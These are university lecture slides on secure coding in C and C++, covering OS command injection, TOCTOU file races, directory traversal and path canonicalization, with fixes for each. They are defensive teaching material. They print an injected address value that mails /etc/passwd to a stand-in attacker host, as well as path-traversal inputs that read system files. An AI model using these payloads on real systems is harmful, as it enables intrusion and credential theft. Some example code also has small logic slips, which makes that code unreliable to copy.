

# Foundations of Cybersecurity

## C and C++ Secure Coding

Gianluca Dini

Dept. of Information Engineering

University of Pisa

Email: [gianluca.dini@unipi.it](mailto:gianluca.dini@unipi.it)

Version: 2021-03-03

1

# Credits



- These slides come from a version originally produced by Dr. Pericle Perazzo

C and C++ Secure Coding

# FILES AND OS COMMANDS

3

# OS Command Injection



```
void send_mail(const char* addr) {  
    char buffer[256];  
    sprintf(buffer, "cat /tmp/email | mail %.200s", addr);  
    if(system(buffer) == 0) { /* Handle error */ }  
}
```



addr =

"bogus@addr.com; cat /etc/passwd | mail some@badguy.net"



```
system("cat /tmp/email | mail bogus@addr.com;  
cat /etc/passwd | mail some@badguy.net");
```

4

This function takes the content of the "/tmp/email" file and sends it to the email address "addr". It uses the system() standard function, which launches a shell command. It is non-portable, because different systems have different shell commands.

Supposing a Unix system, if the user passes the following string as "addr":

"bogus@addr.com; cat /etc/passwd | mail some@badguy.net", then system() will actually execute two commands: the first one sends the mail to bogus@addr.com, the second one sends the sensible "passwd" file to some@badguy.net, which is controlled by the attacker. This attack is called *OS command injection*. The attacker can do also more dangerous things, for example downloading and executing a malicious program on the victim machine. The system() function is an interface to a command interpreter (the shell), which could receive as input special characters resulting in the execution of commands unexpected by the programmer. In general, strings passed to command interpreters like the shell, external programs, SQL interpreters, XML/Xpath interpreters, etc. should be sanitized before.

# OS Command Injection



- Black list approach: identify dangerous chars
  - `char no_chars[] = ";|<>#"`
  - Dangerous: programmer may forget some character
- White list approach: identify good chars
  - `char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"`  
`"ABCDEFGHIJKLMNOPQRSTUVWXYZ"`  
`"1234567890_-.@";`

5

Sanitization can be performed with a *character white list* (list of only-allowed characters) or *character black list* (list of disallowed characters). Whitelisting is always recommended, because it is easier to identify “safe” characters than identify “unsafe” ones. If a white list is incomplete, this only constitutes a missing functionality (and not a vulnerability), which can be easily detected. Conversely, if a black list is incomplete, this constitutes a vulnerability, which can be hardly detected.

# OS Command Injection



```
void send_mail(const char* addr) {  
    static char ok_chars[] = "abcdefghijklmnopqrstuvwxy"  
                                "ABCDEFGHIJKLMNOPQRSTUVWXYZ"  
                                "1234567890_-.@";  
  
    char buffer[256];  
    if(strspn(addr, ok_chars) < strlen(addr)) { /* Handle error */ }  
    sprintf(buffer, "cat /tmp/email | mail %.200s", addr);  
    if(system(buffer) == 0) { /* Handle error */ }  
}
```



6

A quite standard way to perform string whitelisting in C is using the standard function `strspn()`:

```
size_t strspn(const char* str1, const char* str2);
```

Returns the length of the initial portion of "str1" which consists only of characters that are part of "str2". The search does not include the terminating null-characters of either strings, but ends there.

This code shows a termination sanitization by whitelisting, using the `strspn()` function.

# OS Command Injection



```
void send_mail(const string& addr) {  
    static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"  
                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ"  
                           "1234567890_-.@";  
    if(addr.find_first_not_of(ok_chars) != std::string::npos)  
        { /* Handle error */ }  
    std::string cmd = (std::string)"cat /tmp/email | /bin/mail " + addr;  
    if(system(cmd.c_str()) == 0) { /* Handle error */ }  
}
```



7

This code shows the same technique in C++, using the method `find_first_not_of()` of `std::string`.

`size_t std::string::find_first_not_of(const char* chars, size_t pos = 0) const;`  
Searches the string for the first character that does not match any of the characters specified in "ok\_chars". When "pos" is specified, the search only includes characters at or after position "pos", ignoring any possible occurrences before that character. Returns the position of the found character, or `std::string::npos` if no such character has been found.

# OS Command Injection



- `system()` is dangerous:
  - OS command injection
  - Command with relative path, tainted current directory
  - Command without path, tainted `$PATH`
- Use `execve()` instead


8

The call of `system()` is problematic and the CERT secure coding standard always discourages it. Process forking and calling `execve()` or `execl()` are recommended instead. In addition to unsanitized tainted strings, `system()` is dangerous if:

- 1) A command is specified without a path, and the `PATH` environment variable is changeable by an attacker. (The `PATH` variable specifies the default paths where the command processor finds executables to launch.)
- 2) A command is specified with a relative path and the current directory is changeable by an attacker.
- 3) The specified executable program can be replaced (spoofed) by an attacker.



# TOCTOU Race Condition on Files




```
void open_some_file(const char* file) {
    FILE *f = fopen(file, "r");
    if (f) { /* File exists, handle error */ }
    else {
        fclose(f);
        f = fopen(file, "w");
        if (!f) { /* Handle error */ }
        /* Write to file */
        fclose(f);
    }
}
```

→ time of check

something malicious can happen in between!

→ time of use



A *time-of-check/time-of-use* (TOCTOU) race condition occurs when two concurrent processes operates on a shared resource (e.g., a file), and one process first accesses the resource to check some attribute, and then accesses the resource to use it. The vulnerability comes from the fact that the resource may change from the time it is checked (time of check) to the time it is used (time of use). In other words, the check and the use are not a single atomic operation. The shared resource can be a hardware device, a file, or even a variable in memory in case of a multi-threaded program.

This program writes a given file only after having checked that the file does not exist, to avoid overwriting it. However, the time of check is different to the time of use, so a TOCTOU race condition is possible. Assume that an attacker wants to destroy the content of a file over which she has not write permission. Assume further that the TOCTOU-vulnerable program runs with higher privileges. To induce the program to overwrite the file content, the attacker can create a symbolic link to the file just after the time of check but just before the time of use.

# TOCTOU Race Condition on Files




```
#include <stdio.h>
void open_some_file(const char* file) {
    FILE *f = fopen(file, "wx");
    if (!f) { /* Handle error */ }
    /* Write to file */
    fclose(f);
}
```



To avoid the TOCTOU race in this case, it is sufficient to use the "x" flag when opening the file (since C11), which forces the `fopen()` function to fail in case the file already exists.

TOCTOU race conditions are typically easy to identify, but not always easy to correct in general. Sometimes it is better to mitigate the vulnerability in other ways, rather than avoiding the TOCTOU race itself. For example, we can simply run the program as a non-privileged user, or we can read/write files only in «secure directories», i.e., directories in which only the user (and the administrator) can create, rename, delete, or manipulate files.


# Directory Traversal



UNIVERSITÀ DI PISA

```
void read_some_file(const char* file) {
    FILE *f = fopen(file, "r");
    if (!f) { /* File doesn't exists, handle error */ }
    else {
        char line[100];
        while(!feof(f)) {
            if (!fgets(line, 100, f)) { /* Handle error */ }
            puts(line);
        }
        fclose(f);
    }
}
```

current dir:  
/home/alice/




file = **"/etc/passwd"** —————> steal the user list!

11

A *directory traversal* (also known as *path traversal*) vulnerability takes place when a path name coming from an untrusted source is used without sufficient validation. As a consequence, the program could operate on a directory different directory from what expected. In the above example, the program reads all the content of a file whose name is tainted, supposing that the file will be contained in the current home directory (e.g., /home/alice/). However, if the attacker injects an absolute path name like «/etc/passwd», she can steal the content of such a file.


# Directory Traversal



UNIVERSITÀ DI PISA

```
void read_some_file(const char* file) {
    if (strlen(file)>0 && file[0] == '/')
        { /* Absolute path! Handle error */ }
    FILE *f = fopen(file, "r");
    if (!f) { /* File doesn't exists, handle error */ }
    else {
        char line[100];
        while(!feof(f)) {
            if (!fgets(line, 100, f)) { /* Handle error */ }
            puts(line);
        }
        fclose(f);
    }
}
```

current dir:  
/home/alice/



file = `"../..etc/passwd"` → /home/alice/../../etc/passwd<sub>12</sub>

Of course, directory traversal vulnerabilities are avoided by properly validating the path name before using it, but doing this in a proper way is quite hard. This is because path names have generally a great flexibility, and the same file can be associated to many different (but equivalent) path names. In the above example, we check the first letter of the path name not to be a «/», in an attempt to avoid absolute paths. However, the attacker is still able to steal the user list by injecting «../..etc/passwd».

# Directory Traversal



- Whitelisting NOT to contain «..» and «/»
  - Less flexibility:
    - honestfile.txt
    - homesubdir/honestfile
- Symbolic links
  - Available in Linux, Windows, etc.
  - Honest-looking paths can refer to unexpected files
    - symlink → ../../etc/passwd
  - Attacker must be able to create symlinks

13

Whitelisting the path name not to contain dangerous characters like «..» and «/» may be a better option, but it could reduce the program flexibility, because the legitimate users now cannot introduce files whose name contains «..», for example «honestfile.txt», or files inside subdirectories of the home, for example «homesubdir/honestfile». To make things worse, symbolic links to files or to directories can make a honestly-looking path name actually resolve to a file in an unexpected directory. For the example the path name «symlink», where «symlink» is a symbolic link to «../../etc/passwd», resolves to «/home/alice/../../etc/passwd», which in turn resolves to «/etc/passwd». Of course, to mount such an attack the attacker must be able to create symbolic links inside the home directory of the victim. Note that symbolic links are available in all the modern operating systems, like Linux and Microsoft Windows.

# Directory Traversal




- Other ambiguity sources in FAT32/NTFS:
  - Case insensitiveness
    - C:\Users\alice == C:\Users\ALICE
  - Two directory separators (\ and /)
    - C:\Users\alice == C:/Users/alice
  - 8.3 names
    - C:\Users\alice\mytextfile.txt ==  
C:\USERS\ALICE\MYTEXT~1.TXT

14

All these attack possibilities show that checking the validity of a path name before using it is not an easy task. This is because files are associated to a virtually infinite number of alias path names. Apart from the aforementioned problems regarding absolute and relative paths, special directories («./» and «../») and symbolic links, depending on the specific operating system and also the specific file system, there are many other ambiguity sources. For example, in Microsoft file systems (FAT32, NTFS) files and directories are case insensitive («C:\Users\alice\file.txt» == «C:\Users\ALICE\FILE.TXT»), and both «/» and «\» can serve as directory separators. Moreover, every file has two alias names: the long file name (e.g., «C:\Users\alice\mytextfile.txt»), the 8.3 file name (e.g., «C:\USERS\ALICE\MYTEXT~1.TXT»), inherited for back-compatibility with DOS.

# Canonicalization



UNIVERSITÀ DI PISA

- Canonical form: standard form to represent a path name

file.txt

./file.txt

/home/bob/./alice/file.txt

symlink.to.file.txt

/home/alice/file.txt

CANONICAL FORM


EQUIVALENT PATHS

- Applying path validation on canonical form is easier
- Canonicalization is not easy...

15

To simplify the validation of a tainted path name, it is always better to translate it to its *canonical* form. Canonical form is a standard form to represent a path name. *Canonicalization* is the process of translating different but equivalent path names into a single canonical form. For example, considering «/home/alice» as the current directory, the path names «file.txt», «./file.txt», and «/home/bob/./alice/file.txt» are equivalent to each other, and equivalent to their canonical form «/home/alice/file.txt», which is always absolute and does not involve «./» nor «../» directories. Canonicalization also resolves symbolic links, so that no symbolic link appears in the canonical form. Applying validity checks on the canonical form is much easier than on the original path name. However, canonicalization itself is not an easy task, and it depends on the specific operating system and file system.


# Canonicalization



UNIVERSITÀ DI PISA

```
void read_some_file(const char* file) {
    canon_file = realpath(file, NULL);
    if (!canon_file) { /* Handle error */ }
    const char[] ok_dir = "/home/alice/";
    if (strncmp(canon_file, ok_dir, strlen(ok_dir)) != 0)
        { /* Unauthorized path! Handle error */ }
    FILE *f = fopen(canon_file, "r");
    if (!f) { /* File doesn't exists, handle error */ }
    else {
        /* ... */
    }
    free(canon_file);
}
```

>= POSIX.1-2008



Note: `realpath()` does not resolve «~/», because it is not a valid path name! → `fopen("~/file.txt", "r")` FAILS!  
«~/» is shell-interpreted

16

In POSIX-compliant systems, the `realpath()` function is useful to canonicalize a path name. The above example code solves the previous directory traversal vulnerability by canonicalizing the path name and then checking whether references a file inside «/home/alice» or subdirectories of. Note that the returned canonical form must be freed afterwards, and that old versions of `realpath()` (<POSIX.1-2008) allow implementation-defined behaviors in case the second argument is `NULL`, so they may behave differently from what expected. Note also that `realpath()` does not resolve the «~/» (tilde-slash) sequence that usually replaces the home directory. This is because such a sequence is not a valid path per se, and an attempt to call `fopen()` with a path like «~/file.txt» will fail. Indeed, the tilde-slash sequence is interpreted by the shell, by means of the `HOME` environment variable. Thus, the possibility of the «~/» sequence must be considered only for paths interpreted by the shell, for example in commands executed by the `system()` function.



# Canonicalization



UNIVERSITÀ DI PISA

```

void read_some_file(const char* file) {
    canon_file = realpath(file, NULL); → time of check
    if (!canon_file) { /* Handle error */ }
    const char[] ok_dir = "/home/alice/";
    if (strncmp(canon_file, ok_dir, strlen(ok_dir)) != 0)
    { /* Unauthorized path! Handle error */ }
    FILE *f = fopen(canon_file, "r"); → time of use
    if (!f) { /* File doesn't exists, handle error */ }
    else {
        /* ... */
    }
    free(canon_file);
}

```



file = "symlink.created.after.toc" → ../../etc/passwd

17

Note that `realpath()` does not solve the problem completely, since it introduces a TOCTOU race condition between the time `realpath()` is called (time of check) and the time the path is used (time of use). If the adversary manages to create a symbolic link between the two times, she could bypass the check.

## Further Defense



- Safely canonicalize is difficult
- Better: restrict user's file authorizations
- Windows path canonicalization even harder
  - PathCchCanonicalize() incomplete and buggy
    - No solution to case insensitiveness
    - No solution to 8.3 aliases
    - Does not recognize «/»!
  - Restrict user's file authorization is mandatory!

18

The difficulties in securely canonicalizing a path name suggest us to put in place further defenses, for example restrict most possible the user's file authorizations in such a way to avoid at least unexpected file writings. In Windows systems things get even worse, since there is not any easy way to canonicalize path names. The best candidate is the PathCchCanonicalize() function, which however does not resolve several issues, like case insensitiveness, 8.3 name aliases and symbolic links. Moreover, due allegedly to a bug discovered after its introduction, PathCchCanonicalize() does not process «/» characters, which are equivalent to «\», therefore all «/»'s must be replaced by «\»'s before calling the function. To sum up, in Windows system an effective path canonicalization is very difficult to obtain, and solutions based on file authorizations are mandatory to protect against directory traversal attacks.